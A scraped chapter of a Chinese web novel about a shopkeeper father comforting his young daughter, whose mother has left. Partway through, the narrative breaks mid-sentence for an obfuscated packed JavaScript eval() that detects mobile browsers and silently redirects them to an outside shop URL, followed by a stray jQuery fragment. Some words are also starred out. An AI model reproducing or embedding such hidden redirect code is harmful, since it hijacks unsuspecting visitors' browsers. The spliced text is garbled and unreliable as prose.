“真的吗？”
笑笑的声音还是带着浓浓的鼻音，但眼神里多了点光亮，像乌云里透出的阳光。
她伸出小手，轻轻摸了摸林凡下巴上刚冒出来的胡茬，指尖被扎了一下，缩了缩又伸过来，好像这样就能从爸爸身上找到勇气，“爸爸不骗人？”
“真的，爸爸保证。”
林凡用力点头，下巴上的胡茬蹭到笑笑的小手，孩子咯咯地笑了一声，又很快收住。
他用指腹轻轻擦去笑笑脸颊上的泪珠，那泪珠带着孩子的体温，落在他手背上，烫得他心口发疼，像揣了个小火炉。
“在妈妈回来之前，爸爸会加倍加倍地爱笑笑，每天都陪在笑笑身边。你看，王猛叔叔上周还特意请假，带你去游乐园坐旋转木马，旋转木马的灯亮起来的时候，你还说像星星对不对？
他还买了你最爱的草莓棉花糖，你吃了一脸的糖霜，王猛叔叔还帮你擦了脸；还有楼下的张奶奶，每天早上都给你煮溏心蛋，蛋黄流出来的时候；
你总说像小太阳，张奶奶还说笑笑长身体要多吃营养的东西，上次你感冒，张奶奶还熬了姜茶给你喝，你嫌辣，张奶奶还加了冰糖，对不对？”
笑笑听到“旋转木马”和“溏心蛋”，小嘴巴抿了抿，嘴角微微翘起来，似懂非懂地点了点头，然后把小脸重新埋进林凡的怀里，小胳膊紧紧抱着他的脖子，声音闷闷的：
“笑笑……还是想妈妈……想妈妈抱我睡觉……妈妈抱我的时候，会拍我的背，还会唱儿歌……”
林凡的眼眶瞬间湿热了，眼泪差点掉下来，他赶紧把头抬起来，看着天花板上的旧灯泡，灯泡上蒙着一层灰，昏黄的光落在他脸上。
他收紧手臂，把女儿紧紧抱在怀里，下巴轻轻抵着她柔软的头顶，能闻到她头发上淡淡的洗发水香味——
那是他特意在超市买的儿童专用款，包装上印着小雏菊，笑笑说“像小雏菊的味道”，每次洗完头，都要让他闻闻“香不香”。
他轻轻拍着笑笑的背，像哄她睡觉时那样，小声哼起苏晚晴以前常唱的儿歌：
“月儿明，风儿静，树叶儿遮窗棂啊……”
他的调子有点跑，却还是坚持哼着，手指轻轻理顺笑笑有点炸毛的头发。
“好……”
笑笑的声音越来越低，带着浓浓的鼻音，渐渐没了动静，呼吸也变得均匀起来。
林凡低头一看，孩子已经睡着了，长长的睫毛上还挂着一颗没掉的泪珠，小嘴角却微微翘着，像是在做一个有妈妈的梦，梦里妈妈正抱着她，唱着儿歌。
窗外的路灯透过窗帘缝隙，在地上投下淡淡的光斑，像撒了一把碎月亮。
林凡抱着笑笑，坐在藤椅上轻轻晃动，不敢起身，怕吵醒怀里的孩子，藤椅“吱呀”的声音，像在陪他一起守着这个安静的夜晚。
他看着女儿熟睡的小脸，心里暗下决心：下个月建材市场进入旺季，他多接几单配送，争取攒够钱；
等年底，就换个带阳台的房子，让笑笑能在阳台上种她喜欢的小雏菊，她上次在花店看到小雏菊，眼睛都亮了，还问“能不能种在咱们家”。
至于那个关于“妈妈回来”的谎言，
**要圆多久，但他会努力让这个谎言变得“可信”——
就像他努力把日子过好一样，每天多扛一趟货，多攒一块钱，
总有一天，他能让笑笑在爱里长大，能坦然地告诉她所有真相，而那时的笑笑，
一定已经足够坚强，
能理解成年人世界的无奈与遗憾，就像理解秋天的叶子会落，春天的花会开一样。
林凡坐在店铺角落的旧藤椅上，藤条被岁月磨得泛出浅棕的柔光，缝隙里卡着半片上周修货架时掉落的木屑——
浅黄的木茬还带着点松木的淡香，是他前几天用砂纸磨货架边缘时蹭下来的。
他怀里抱着熟睡的女儿笑笑，背脊挺得笔直，却又透着难以掩饰的僵硬：右肩微微下沉，左手下意识托着笑笑的腰，指节因为长时间发力泛出青白——
那是昨夜抱着发烧刚退的笑笑坐了半宿落下的酸痛，更怕稍一动，就会惊醒怀里这颗呼吸都轻得像羽毛的小小心灵。
笑笑才三岁半，小脸蛋圆嘟嘟的，睫毛像两把沾了晨露的小蝶翼，每呼吸一次就轻轻颤一下，眼角的泪痕没完全干透，在斜照的阳光里泛着细碎的光，像撒了点碎玻璃渣——
那是今早醒来没看见妈妈，坐在床边抱着布娃娃哭花的，眼泪还沾了几根娃娃的白绒毛在脸颊上。
她的小手还没完全长开，指节圆圆的，紧紧攥着林凡的卡其布衣角，指缝里夹着半张皱巴巴的素描纸，是没画完的全家福：
纸上的自己扎着羊角辫，手里攥的糖葫芦用红蜡笔涂得冒尖，连糖霜的纹路都画得歪歪扭扭；爸爸穿蓝色工装，胸前别着笑笑画的小红花，花瓣边缘被小手指捻得起了**；
唯独妈妈的位置，只画了个空心的圆圈，圆圈旁边用铅笔歪歪扭扭写着“MAMA”，两个字母被橡皮擦过好几次，纸都薄得快透了——这还是她前几天跟着巷口的小学生抽空学的。
窗外的阳光透过蒙着点灰尘的玻璃，斜斜切进店里，在货架上投出长条的光斑。货架上摆着老式台秤，铁秤砣泛着冷光；
螺丝刀的金属柄反光晃了林凡一下，他下意识眯了眯眼，再看时，连最上层那把生了锈的旧门锁都泛着暖光——
锁芯里的铁锈红得发暗，是去年从废品站收来的旧货，笑笑总爱用小手指抠锁孔玩。货架最外侧摆着几卷透明绝缘胶带，胶带纸边缘被笑笑撕得****躁躁，翘起来的碎边粘了点灰；
那是她昨天蹲在旁边“帮忙”时的杰作：当时她踮着脚够胶带，差点摔在地上，林凡扶住她时，她还举着撕下来的小胶带片说“爸爸，贴贴”。
可这明媚的光像隔了一层雾，风从敞开的店门吹进来，带着巷口早点摊的油条香，却怎么也透不进林凡发沉的心里。
昨天傍晚带笑笑在巷口玩，老陈头推着自行车来卖糖葫芦，车后座绑着块木板，上面插着密密麻麻的草靶子，草莓的、山楂的糖葫芦裹着晶莹的糖霜，用玻璃纸包着，风一吹，甜香裹着热气飘过来。
笑笑盯着看了半天，突然看见邻居家的朵朵被妈妈抱在怀里，咬下一颗草莓糖葫芦时，糖霜还沾在嘴角。
她猛地仰起头拽林凡的衣角，小手套蹭得林凡的工装裤沙沙响：“
爸爸，妈妈是不是也喜欢吃草莓味的糖葫芦呀？上次你买的，我留了一颗放冰箱最里面，现在还没化呢！她什么时候回来，我们一起吃好不好？”
那一刻，林凡的喉咙像被一团热棉花堵住，酸意从胸腔往眼眶里涌，连鼻尖都麻了。
他蹲下来把女儿搂进怀里，手指轻轻摩挲她冻得发红的小耳朵——耳尖凉得像冰块，边缘还有点起皮，是早上忘给她戴耳罩了。
他张了张嘴，想说话却发不出完整的声音，只能把脸埋在笑笑的围巾里，闻着围巾上淡淡的肥皂香味（是巷口供销社买的“蜂花”皂），缓了好一会儿才哑着嗓子说：
“会的，妈妈会回来的。”
他想起前阵子从社区图书室借的《幼儿教育手册》，书皮是蓝绿色的，被翻得有点卷边，里面夹着他用铅笔划的线：
3岁多的孩子正是粘人的时候，得多陪他们说话、玩游戏，要是少了亲人陪伴，容易闹情绪。当时他还在旁边写了句“每天陪笑笑画半小时画”，
可如今每一个字都像针，扎在他发紧的心上——尤其是看到笑笑攥着的全家福，那个空心圆圈像个洞，漏着风。
苏晚晴离开快三年了，没留下一句解释，只带走了衣柜里的几件衣服和常用的米色帆布包；
包上还有笑笑用马克笔画的小爱心，当时她还说“妈妈的包要漂漂亮亮的”。
她的桃木梳子还放在卫生间的台面上，梳背有几道细小的划痕，是以前笑笑抓着玩时摔的，齿缝里缠着几根染过的栗色长发；
比笑笑的头发粗一点，林凡每天打扫时都会用指尖轻轻拨掉梳子上的灰尘，却舍不得碰那几根头发，怕一碰就掉了；
笑笑小时候穿的粉色连衣裙还挂在衣柜最上层，布料有点泛黄，领口的蕾丝花边是苏晚晴怀孕时挺着肚子缝的，针脚歪歪扭扭，有几处还打了小结——
当时她缝到一半就累得喘气，说“等笑笑穿了，妈妈再补好看点”，可到现在也没补；
就连厨房的调料架上，薄荷绿的盐罐还是苏晚晴喜欢的款式，罐身贴着笑笑画的小太阳贴纸，边角翘了起来；
里面的盐还剩半罐，每次林凡放盐时，都会想起苏晚晴以前总说“少放盐，笑笑吃多了不好”。
这些痕迹像藤蔓，缠着林凡的每一个日夜：
清晨煮面时会习惯性拿两个碗，拿到第二个时才愣一下，又默默放回去；睡前会拿出苏晚晴留下的旧信纸，想写两句笑笑的近况——
比如“今天笑笑会数到10了”“她把布娃娃的裙子补了个小补丁”，可笔尖悬了半天，又不知道寄往何方，最后只能折好塞进抽屉深处；
甚至整理笑笑的玩具时，看到那个苏晚晴从供销社买来的布娃娃，都会蹲在地上看半天——娃娃的裙子破了个洞，是笑笑上次玩时勾的，他还没来得及补。
这些都成了他心里拔不掉的刺，更成了笑笑成长路上，他无论怎么努力都绕不开的坎。
王猛从仓库里出来时，裤脚沾了不少铁锈灰，一拍就掉粉，膝盖处还蹭破了一块——
破口处露出里面灰色的秋裤，边缘有点线头，是早上搬重型扳手时没注意，膝盖磕在货架的角钢上弄的。
他穿的蓝色劳动布工装洗得发白，手里拿着半截没吃完的白面馒头，馒头上还沾着点黄灿灿的咸菜渣，是萝卜干的，是他媳妇早上五点起来蒸的馒头，用纱布包着带来的，还热乎着：
“你中午也别饿着，等会儿我去巷口买两碗馄饨。”
王猛是林凡的原工厂工友，国营机械厂，每天在流水线旁站十个小时，耳朵被机器噪音吵得有点背，工资刚够养活一家三口。
去年林凡开这家笑笑宝贝屋，凑完房租就没剩多少钱雇人，当时就找王猛，王猛二话不说，当天就放下蹲三轮车的活来帮忙，其实林凡知道，他是怕自己撑不下去。
平时里里外外的重活王猛都抢着干，搬水管、扛货架，累得满头汗也不说，还总记得帮笑笑带巷口小卖部的棉花糖——
五分钱一团，他每次都让老板多绕两圈，拿到手时还冒着点热气，笑笑吃得满脸糖霜，王猛就笑着用粗粝的手掌给她擦，说“慢点吃，没人跟你抢”。
看到林凡僵坐在那里的模样，王猛脚步顿了顿，悄悄转身回了里屋。
他记得去年林凡胃出血，就是因为空腹忙了一天，后来他就总在店里备着温白开水，用的是个印着“为人民服务”的搪瓷杯，杯口有个小缺口，是以前搬货时砸的。
倒好水后，他又从抽屉里拿了包苏打饼干放在水杯旁——是香葱味的，供销社买的，林凡胃不好，饿的时候吃点能垫垫，这包还是他昨天特意绕路买的。
水杯放在林凡旁边的小桌上时，王猛只轻轻叹了口气，没说“别难过”，也没问“接下来怎么办”，就像往常无数次那样：
林凡熬夜看店时，他会默默煮一碗泡面，加个鸡蛋；笑笑生病时，他会帮忙看店到深夜，还不忘给林凡留着热粥——他总用最笨的方式，把空间留给这对父女，却把支撑落在实处。
林凡的指尖碰了碰水杯，温意顺着指尖蔓延到手腕，像小暖流，却没驱散心里的沉重。
他太清楚了，苏晚晴的离开不是一场短暂的分别，而是一道会留下印记的伤疤。
或许某天笑笑翻到旧相册里苏晚晴抱着她的照片——照片里苏晚晴穿着白色连衣裙，笑得眼睛弯成缝；
或许春节时看到邻居家一家三口贴春联，妈妈给孩子递胶带，爸爸扶着梯子；这道伤疤就会隐隐作痛，像被冷风刮到。
他想起上周笑笑半夜哭着醒来，小胳膊紧紧搂着他的脖子，指甲轻轻抠着他的衣领，嘴里含混地喊着“妈妈抱，妈妈的手暖暖的”。
他把女儿搂在怀里，用自己的手裹住笑笑冰凉的小手——他的手因为常年拧螺丝磨出了老茧，糙得很；
却还是尽力把她的手焐热，哼着苏晚晴以前常唱的《小星星》，调子有点跑，却一遍又一遍地唱，直到天快亮时，笑笑的呼吸才变得平稳，小眉头也舒展开了。
他低头看着女儿额头上的薄汗，悄悄用袖口擦去——袖口有点脏，是白天搬货蹭的灰，他怕弄疼笑笑，动作轻得像碰棉花。
他能做的，就是把自己活成一座山：白天忙着搬货、接订单，手臂酸了就揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607519|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两下，继续干；晚上陪笑笑画画、数星星，哪怕累得眼睛都快睁不开，也会把故事讲完（讲的是他小时候听来的“孙悟空打妖怪”）。
他想用尽全力为笑笑筑起一个坚固又温暖的港湾，让她即使没有母亲的陪伴，也能踩着父爱的基石，勇敢地面对往后的风雨。
就在这时，一个模糊的念头突然从心底冒出来，像春天里的小草，蹭蹭地往上长：要不要再试着找找苏晚晴？
上次他托苏晚晴的闺蜜李姐打听消息，李姐在信里犹豫了半天，只说她去了南方，好像在一家服装厂上班，具体在哪、做什么，一概不知。
他还翻出了苏晚晴以前的通讯录，纸都发黄了，照着上面的地址寄了三封信，要么被退回来写着“查无此人”，要么石沉大海，连个回音都没有。
他不是想破镜重圆，毕竟当初她走得那么决绝，连笑笑的生日都没留下一句祝福——
去年笑笑生日，他从供销社买了个小蛋糕，上面插着三根蜡烛，笑笑吹蜡烛时还说“要等妈妈一起吹”，等了半天也没等来人，最后抱着蛋糕哭着睡着了。
可他看着笑笑怀里攥着的全家福，看着那个空荡荡的圆圈，又忍不住想：至少该让女儿知道，妈妈没有消失，她还在这个世界的某个角落，呼吸着同样的空气，或许也会偶尔想起她。
这样，笑笑每次画全家福时，会不会就不用在妈妈的位置画圆圈，心里的空缺会不会能少一点遗憾？
可这个念头刚冒头，就被林凡狠狠压了下去。
他低头看了看店铺柜台后的订单本，蓝色的封面边角磨破了，里面密密麻麻记着十几家客户的需求：
这时，巷口的李婶隔着门喊：“林凡，张大夫让我再跟你说声，笑笑下周一去社区卫生院体检，别忘了带体检本啊！”
林凡赶紧应了声“知道了，谢谢李婶”，又从抽屉里翻出体检本——封面是红色的，上面写着笑笑的名字，还是苏晚晴以前填的。
他摸了摸封皮，想起上次答应带笑笑去公园放风筝，结果忙着给张叔修水管没去，笑笑委屈得躲在角落哭了好久，他当时心里像被揪着疼，发誓再也不辜负女儿的期待。
寻找苏晚晴太渺茫了，万一找不着，自己跑南跑北浪费时间，谁来照顾笑笑？
万一找着了，她不愿意见女儿，甚至说不认识笑笑，又该怎么跟女儿解释？
难道要告诉笑笑“妈妈不想见你”吗？未知的风险像一张网，密密麻麻裹住他的心脏，让他不敢再往前踏一步。
“爸爸……”笑笑在梦里轻轻呢喃了一声，小脑袋往林凡怀里又蹭了蹭，像只找温暖的小猫。她的小手松开衣角，转而抓住了林凡的手指——
她的指甲刚被林凡昨晚剪过，圆润光滑，不会刮到自己，指尖还带着点奶香味；林凡的手指上有几道细小的伤口，是昨天拧螺丝时被划的，贴了块胶布，他怕胶布蹭到笑笑，悄悄把受伤的手指往掌心收了收。
林凡赶紧低下头，在女儿带着泪痕的小脸上亲了亲，声音轻得像羽毛：
“笑笑，别怕。爸爸在呢，爸爸永远都在。”
他的下巴抵着女儿柔软的头发，鼻腔里满是淡淡的奶香味——
那是笑笑睡前喝的奶粉味，是从供销社买的“红星”奶粉，还混着点洗发水的清香（也是蜂花牌的），是他昨天给她洗头发时用的。
这味道是他所有的软肋——只要笑笑皱一下眉，他就愿意放下所有事；更是他所有的铠甲——再累再难，只要看到笑笑的笑脸，就觉得能撑下去。
前几天笑笑发烧到39度，小脸烧得通红，嘴唇干得起皮，嘴里一直喊着“冷”。林凡抱着她往社区卫生院跑，凌晨的风刮在脸上像刀子，裹着冷空气往脖子里灌。
他把自己的厚棉袄裹在笑笑身上，拉链拉到顶，只穿一件薄毛衣——毛衣是灰色的，有点起球，风灌进领口，他打了个寒颤，却还是把笑笑抱得更紧，怕她再着凉。
到了卫生院，排队挂号、抽血、取药，他忙前忙后一夜没合眼。天亮时，他看着输液瓶里的药水一滴一滴往下掉，眼睛里全是血丝，连鬓角都冒出了几根白发——
他以前从不愁白头发，可自从苏晚晴走后，白头发就越来越多。
王猛早上来开店，看到店里没人，赶紧往卫生院跑，进门就看到林凡红着眼圈守在床边，手里还攥着没喝完的热水。
他二话不说，把带来的早餐塞给林凡——豆浆装在保温桶里，还热着；包子是肉馅的，冒着热气。
“你在这看着笑笑，店里有我呢”，他硬把林凡按在椅子上，自己替他看店、帮客户选服装。
那天王猛忙到下午三点才顾上吃午饭，衣服都被汗水浸透了，贴在背上，却还笑着跑回卫生院说“放心，订的服务装都拿走了，笑笑好点没”。
那一刻林凡就明白，父爱或许没有母爱那样细腻温柔，不会记得给孩子梳漂亮的辫子，不会煮出可口的辅食，却像脚下的土地，沉默却坚实——
他或许不擅长表达，却会用尽全力把最好的都给孩子。他要做笑笑最可靠的那座山，无论刮多大的风、下多大的雨，都稳稳地站在她身后，让她回头时总能看到自己。
至于“妈妈”的答案，林凡想，或许真的该交给时间。
也许等笑笑再长大一点，能听懂“妈妈有自己的难处”这样的道理；也许某天他去南方送货，会在某个街角偶然看到那个熟悉的身影——
她或许还背着那个米色帆布包，头发还是栗色的；也许王猛说的对，“该来的总会来，眼下把娃照顾好才最实在”。
他低头摸了摸笑笑手里的全家福，轻轻把那张纸抚平——纸上的褶皱太多，他按了好一会儿才平一点，然后小心翼翼地叠好，放进自己的口袋里。
口袋里还有笑笑早上塞的一颗水果糖，糖纸是粉色的，有点粘，和全家福放在一起，像藏着个小小的秘密。
等晚上回家，他要陪笑笑把妈妈的位置画完，哪怕先画一朵小花，也好过空荡荡的圆圈。
眼下，阳光还在货架上淌着，墙上1993年的挂历被风吹得轻轻晃；
王猛在门口整理货物，哼着《在希望的田野上》；
笑笑在怀里睡得安稳，小胸脯一起一伏。
他只要守好这家飘着奶香味的笑笑宝贝屋，守好怀里这个带着奶香味的女儿，就够了。